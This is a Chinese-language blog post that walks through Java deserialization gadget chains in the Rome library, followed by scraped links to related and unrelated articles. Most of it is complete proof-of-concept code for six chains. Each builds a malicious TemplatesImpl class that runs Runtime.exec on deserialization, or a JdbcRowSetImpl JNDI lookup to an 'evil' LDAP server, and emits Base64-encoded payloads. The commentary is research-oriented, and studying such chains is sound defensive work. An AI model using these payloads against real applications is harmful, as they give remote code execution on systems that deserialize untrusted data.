环境搭建

<dependencies>

    <dependency>

      <groupId>junit</groupId>

      <artifactId>junit</artifactId>

      <version>4.11</version>

      <scope>test</scope>

    </dependency>

    <dependency>

      <groupId>rome</groupId>

      <artifactId>rome</artifactId>

      <version>1.0</version>

    </dependency>

    <dependency>

      <groupId>org.javassist</groupId>

      <artifactId>javassist</artifactId>

      <version>3.28.0-GA</version>

    </dependency>

  </dependencies>

ObjectBean链

先看看调用栈：

 * TemplatesImpl.getOutputProperties()

 * ToStringBean.toString(String)

 * ToStringBean.toString()

 * EqualsBean.beanHashCode()

 * EqualsBean.hashCode()

 * HashMap<K,V>.hash(Object)

 * HashMap<K,V>.readObject(ObjectInputStream)

先给出poc，然后一步步调试分析

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.syndication.feed.impl.ObjectBean;

import com.sun.syndication.feed.impl.ToStringBean;

import javassist.*;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.reflect.Field;

import java.util.Base64;

import java.util.HashMap;

import java.util.Map;

public class Main {

    public static ByteArrayOutputStream unSer(Map hashMap) throws IOException, ClassNotFoundException {

        // 序列化

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(hashMap);

        // 反序列化

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

        ObjectInputStream ois = new ObjectInputStream(bis);

        ois.readObject();

        ois.close();

        return bos;

    }

    public static void Base64Encode(ByteArrayOutputStream bos){

        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());

        String s = new String(bytes);

        System.out.println(s);

        System.out.println(s.length());

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {

        Field f = obj.getClass().getDeclaredField(fieldName);

        f.setAccessible(true);

        f.set(obj, value);

    }

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        ClassPool pool = ClassPool.getDefault();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        CtClass ct = pool.makeClass("Cat");

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        ct.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "EvilCat" + System.nanoTime();

        ct.setName(randomClassName);

        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[][] bytes = new byte[][]{ct.toBytecode()};

        TemplatesImpl templatesImpl = new TemplatesImpl();

        setFieldValue(templatesImpl, "_bytecodes", bytes);

        setFieldValue(templatesImpl, "_name", "a");

        setFieldValue(templatesImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);

        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

        Map hashMap = new HashMap();

        hashMap.put(objectBean, "x");

        setFieldValue(objectBean, "_cloneableBean",null);

        setFieldValue(objectBean,"_toStringBean", null);

        ByteArrayOutputStream bos = unSer(hashMap);

        Base64Encode(bos);

    }

}

在readObject处打个断点开始调试



进入HashMap的readObject



跟进hash方法



跟进hashCode方法



来到ObjectBean的hashCode方法，_equalsBean是EqualsBean的实例对象，跟进它的beanHashCode方法



_obj是ToStringBean的实例对象，跟进它的toString方法



进入另一个有参方法toString



this._beanclass为javax.xml.transform.Templates,将它的名字传入了getPropertyDescriptors，跟进



这里就很怪了，看其它博主的调试文章说是像是fastjson的任意get，set方法调用，在hashMap进行put时会进入getPDs方法，但我经过实际调试确是没法进入这个方法，我跟进的是进入invoke，_obj是我们的TemplatesImpl的实例对象

进入invoke后，往后会调用到NativeMethodAccessorImpl的invoke方法，这里的method是Templates的getOutputProperties方法，var1是我们的TemplatesImpl对象



进入invoke0，就会调用TemplatesImpl的getOutputProperties方法，但是为什么不会弹计算器，这是一个谜，到反序列化的时候，追踪到调用toString的时候才会触发，有师傅知道为什么，麻烦在评论区告诉一下wuwuwu

HashTable链

这条链子实际上就是在HashMap被ban的情况下进行反序列化，因为最终目的始终都是调用hashcode函数，而HashTbale中刚好调用了hashcode，因此仍然可以触发整套流程

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.syndication.feed.impl.ObjectBean;

import com.sun.syndication.feed.impl.ToStringBean;

import javassist.*;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.reflect.Field;

import java.util.Base64;

import java.util.HashMap;

import java.util.Hashtable;

import java.util.Map;

public class HashTable {

    public static ByteArrayOutputStream unSer(Map hashMap) throws IOException, ClassNotFoundException {

        // 序列化

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(hashMap);

        // 反序列化

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

        ObjectInputStream ois = new ObjectInputStream(bis);

        ois.readObject();

        ois.close();

        return bos;

    }

    public static void Base64Encode(ByteArrayOutputStream bos){

        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());

        String s = new String(bytes);

        System.out.println(s);

        System.out.println(s.length());

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {

        Field f = obj.getClass().getDeclaredField(fieldName);

        f.setAccessible(true);

        f.set(obj, value);

    }

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        ClassPool pool = ClassPool.getDefault();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        CtClass ct = pool.makeClass("Cat");

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        ct.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "EvilCat" + System.nanoTime();

        ct.setName(randomClassName);

        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[][] bytes = new byte[][]{ct.toBytecode()};

        TemplatesImpl templatesImpl = new TemplatesImpl();

        setFieldValue(templatesImpl, "_bytecodes", bytes);

        setFieldValue(templatesImpl, "_name", "a");

        setFieldValue(templatesImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);

        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

        Map hashTable = new Hashtable();

        hashTable.put(objectBean, "x");

        setFieldValue(objectBean, "_cloneableBean",null);

        setFieldValue(objectBean,"_toStringBean", null);

        ByteArrayOutputStream bos = unSer(hashTable);

        Base64Encode(bos);

    }

}

链子流程跟上一个一样

BadAttributeValueExpException链

这个类在CC链中我们是拿来触发toString的，他的readObject方法中有toString，因此可以直接连着Rmoe链的ToStringBean，这样也是可以触发的

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.syndication.feed.impl.ObjectBean;

import com.sun.syndication.feed.impl.ToStringBean;

import javassist.*;

import javax.management.BadAttributeValueExpException;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.reflect.Field;

import java.util.Base64;

import java.util.Hashtable;

import java.util.Map;

public class BadAVEE {

    public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {

        // 序列化

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(obj);

        // 反序列化

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

        ObjectInputStream ois = new ObjectInputStream(bis);

        ois.readObject();

        ois.close();

        return bos;

    }

    public static void Base64Encode(ByteArrayOutputStream bos){

        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());

        String s = new String(bytes);

        System.out.println(s);

        System.out.println(s.length());

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {

        Field f = obj.getClass().getDeclaredField(fieldName);

        f.setAccessible(true);

        f.set(obj, value);

    }

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        ClassPool pool = ClassPool.getDefault();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        CtClass ct = pool.makeClass("Cat");

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        ct.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "EvilCat" + System.nanoTime();

        ct.setName(randomClassName);

        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[][] bytes = new byte[][]{ct.toBytecode()};

        TemplatesImpl templatesImpl = new TemplatesImpl();

        setFieldValue(templatesImpl, "_bytecodes", bytes);

        setFieldValue(templatesImpl, "_name", "a");

        setFieldValue(templatesImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);

        setFieldValue(badAttributeValueExpException, "val", toStringBean);

        ByteArrayOutputStream bos = unSer(badAttributeValueExpException);

        Base64Encode(bos);

    }

}

因为不需要hashCode了，所以hashMap和objectbean也就不需要了，直接上ToStringBean，调试流程就不写了，因为没啥太大改动

HotSwappableTargetSource链

这个类有equals方法，可以触发Xstring的toString，那么也就可以接上Rome的后半段，这里注意加个org.springframework.aop.target.HotSwappableTargetSource的依赖

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xpath.internal.objects.XString;

import com.sun.syndication.feed.impl.ToStringBean;

import javassist.*;

import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.reflect.Field;

import java.util.Base64;

import java.util.HashMap;

import java.util.Map;

public class HotSwapp {

    public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {

        // 序列化

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(obj);

        // 反序列化

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

        ObjectInputStream ois = new ObjectInputStream(bis);

        ois.readObject();

        ois.close();

        return bos;

    }

    public static void Base64Encode(ByteArrayOutputStream bos){

        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());

        String s = new String(bytes);

        System.out.println(s);

        System.out.println(s.length());

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {

        Field f = obj.getClass().getDeclaredField(fieldName);

        f.setAccessible(true);

        f.set(obj, value);

    }

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        ClassPool pool = ClassPool.getDefault();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        CtClass ct = pool.makeClass("Cat");

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        ct.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "EvilCat" + System.nanoTime();

        ct.setName(randomClassName);

        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[][] bytes = new byte[][]{ct.toBytecode()};

        TemplatesImpl templatesImpl = new TemplatesImpl();

        setFieldValue(templatesImpl, "_bytecodes", bytes);

        setFieldValue(templatesImpl, "_name", "a");

        setFieldValue(templatesImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(new XString("123"));

        HotSwappableTargetSource h2 = new HotSwappableTargetSource(toStringBean);

        HashMap<Object, Object> hashMap = new HashMap();

        hashMap.put(h2, h2);

        hashMap.put(h1, h1);

        ByteArrayOutputStream bos = unSer(hashMap);

        Base64Encode(bos);

    }

}

HashMap中的putval会调用equals方法，触发HotSwappableTargetSource的equals方法



左边的target是put进去的h1，右边的target是put进去的h2，这样就会调用XString的equals方法，触发toStringBean的toString方法，链子闭合

JdbcRowSetImpl链

这个类的入口点是在一个get方法上JdbcRowSetImpl.getDatabaseMetaData(),而rome链中又可以调用任意get方法，那其实也就和TempaltesImpl链思路是一样的，只是在不能使用TempaltesImpl时可以进行替换，这个类在Fastjson中很常见，用于JDNI注入，那么这样也是一样的进行JNDI注入，所以得注意jdk版本，不能高于jdk191，启动一个恶意LDAP服务

package org.example;

import com.sun.rowset.JdbcRowSetImpl;

import com.sun.syndication.feed.impl.EqualsBean;

import com.sun.syndication.feed.impl.ToStringBean;

import javassist.*;

import java.io.*;

import java.lang.reflect.Field;

import java.sql.SQLException;

import java.util.Base64;

import java.util.HashMap;

public class Jdbc {

    public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {

        // 序列化

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(obj);

        // 反序列化

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

        ObjectInputStream ois = new ObjectInputStream(bis);

        ois.readObject();

        ois.close();

        return bos;

    }

    public static void Base64Encode(ByteArrayOutputStream bos){

        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());

        String s = new String(bytes);

        System.out.println(s);

        System.out.println(s.length());

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {

        Field f = obj.getClass().getDeclaredField(fieldName);

        f.setAccessible(true);

        f.set(obj, value);

    }

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, SQLException {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

        String url = "ldap://127.0.0.1:1099/evil";

        jdbcRowSet.setDataSourceName(url);

        ToStringBean toStringBean=new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);

        EqualsBean equalsBean=new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object, Object> map = new HashMap<>();

        map.put(equalsBean,"xxxxx");

        ByteArrayOutputStream bos = unSer(map);

        Base64Encode(bos);

    }

}

EqualsBean链

通过HashSet来触发EqualsBean的equals，调用到getter，任意get方法调用触发TemplatesImpl

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.syndication.feed.impl.EqualsBean;

import javassist.ClassPool;

import javassist.CtClass;

import javassist.CtConstructor;

import javax.xml.transform.Templates;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

import java.util.*;

/**

 * Hello world!

 *

 */

public class App

{

    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{

        Field f = obj.getClass().getDeclaredField(field);

        f.setAccessible(true);

        f.set(obj, arg);

    }

    public static void main( String[] args )

    {

        try {

            ClassPool pool = ClassPool.getDefault();

            CtClass ctClass = pool.makeClass("i");

            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

            ctClass.setSuperclass(superClass);

            CtConstructor constructor = ctClass.makeClassInitializer();

            constructor.setBody("Runtime.getRuntime().exec(\"calc\");");

            byte[] bytes = ctClass.toBytecode();

            TemplatesImpl templatesImpl = new TemplatesImpl();

            setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});

            setFieldValue(templatesImpl, "_name", "a");

            setFieldValue(templatesImpl, "_tfactory", null);

            EqualsBean bean = new EqualsBean(String.class, "s");

            HashMap map1 = new HashMap();

            HashMap map2 = new HashMap();

            map1.put("yy", bean);

            map1.put("zZ", templatesImpl);

            map2.put("zZ", bean);

            map2.put("yy", templatesImpl);

            HashSet table = new HashSet();

            table.add(map1);

            table.add(map2);

            //table.put(map1, "1");

            //table.put(map2, "2");

            setFieldValue(bean, "_beanClass", Templates.class);

            setFieldValue(bean, "_obj", templatesImpl);

            unSerial(table);

        } catch (Exception e) {

            e.printStackTrace();

        }

    }

    private static ByteArrayOutputStream unSerial(Object hashMap) throws Exception{

        ByteArrayOutputStream bs = new ByteArrayOutputStream();

        ObjectOutputStream out = new ObjectOutputStream(bs);

        out.writeObject(hashMap);

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));

        in.readObject();

        in.close();

        return bs;

    }

    private static void Base64Encode(ByteArrayOutputStream bs){

        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());

        String s = new String(encode);

        System.out.println(s);

        System.out.println(s.length());

    }

}

Rome反序列化链分析的更多相关文章

  1. PHP反序列化链分析

    前言 基本的魔术方法和反序列化漏洞原理这里就不展开了. 给出一些魔术方法的触发条件: __construct()当一个对象创建(new)时被调用,但在unserialize()时是不会自动调用的 __ ...

  2. [Java反序列化]jdk原生链分析

    jdk原生链分析 原文链接 作为jdk中目前发现的原生链,还是有必要要分析这个用法的.全文仅限尽可能还原挖掘思路 JDK7u21 在很多链中,TemplatesImpl一直发挥着不可或缺的作用,它是位 ...

  3. CommonsCollections2 反序列化利用链分析

    在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口 那么就来看一下 java.util.PriorityQu ...

  4. CommonsCollections1 反序列化利用链分析

    InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...

  5. CommonsCollections3 反序列化利用链分析

    InstantiateTransformer commons-collections 3.1 中有 InstantiateTransformer 这么一个类,这个类也实现了 Transformer的t ...

  6. 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现

    一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...

  7. ThinkPHP v5.1.x POP 链分析

    环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函 ...

  8. ActiveMQ反序列化(CVE-2015-5254) && ActiveMQ任意文件写入 (CVE-2016-3088)

    ActiveMQ 反序列化漏洞(CVE-2015-5254) 漏洞详情 ActiveMQ启动后,将监听61616和8161两个端口,其中消息在61616这个端口进行传递,使用ActiveMQ这个中间件 ...

  9. ThinkPHP v6.0.x 反序列化漏洞利用

    前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...

  10. java反序列化-ysoserial-调试分析总结篇(2)

    前言: 这篇主要分析commonCollections2,调用链如下图所示: 调用链分析: 分析环境:jdk1.8.0 反序列化的入口点为src.zip!/java/util/PriorityQueu ...

随机推荐

  1. HAProxy端口资源耗尽的解决办法

    项目背景 系统使用HAProxy为mq和部分应用的负载均衡服务.近期,瞬时流量过大,导致出现连锁反应,HA开始波动. HAProxy版本:1.6.3 问题分析 心跳检测大量失败,项目状态极不稳定.观察 ...

  2. DataGear 制作支持表单交互和多图表联动的数据可视化看板

    对于数据可视化,有时需要根据用户输入的查询条件展示限定范围的数据图表,DataGear的看板表单功能可以快速方便地实现此类需求. 下面的看板示例,包含一个柱状图.一个饼图和一个地图,用户可以通过看板表 ...

  3. java数组案例

    数组:         数组就是用来存储一批同类型数据的内存区域(容器) 数组中的最大值实现方法:   数据拿到程序中去,用数组装起来. 定义一个变量,用于记录最大值.这个变量建议默认存储第一个元素作 ...

  4. stm32OLED多级菜单

    今天实现了OLED多级菜单的显示.我用的是stm32f103ve,和四脚的OLED屏幕,用了三个按键. 话不多说,直接上代码. 点击查看代码 //先定义按键功能结构体 typedef struct { ...

  5. docker部署监控Prometheus+Grafana

    目录 一.Prometheus简介 二.Prometheus基本原理 三.Prometheus架构图 四.Prometheus特性 五.Prometheus组件 六.Prometheus服务发现 七. ...

  6. Java/Kotlin 密码复杂规则校验

    原文地址: Java/Kotlin 密码复杂度校验 | Stars-One的杂货小窝 每次有那个密码复杂校验,不会写正则表达式,每次都去搜,但有时候校验的条件又是奇奇怪怪的,百度都搜不到 找到了个代码 ...

  7. JDK1.8版本java字符串常量池里存的是String对象还是引用？

    转载自http://t.csdn.cn/iD9LD 先下结论:对象! 众所周知,JDK1.8版本中,String常量池已经从方法区中的运行时常量池分离到堆中了,那么在堆中的String常量池里存的是S ...

  8. 09_使用SDL播放PCM

    通过命令ffpay播放PCM 可以使用ffplay播放<08_音频录制02_编程>中录制好的PCM文件,测试一下是否录制成功. 播放PCM需要指定相关参数: ar:采样率 ac:声道数 f ...

  9. 记录--啊？Vue是有三种路由模式的？

    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 众所周知,vue路由模式常见的有 history 和 hash 模式,但其实还有一种方式-abstract模式(了解一哈~) 别急,本文我 ...

  10. JavaScript知识总结 终结篇--面向对象，垃圾回收与内存泄漏

    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 一.面向对象 一般使用字面量的形式直接创建对象,但是这种创建方式对于创建大量相似对象的时候,会产生大量的重复代码.但 js和一般的面向对象 ...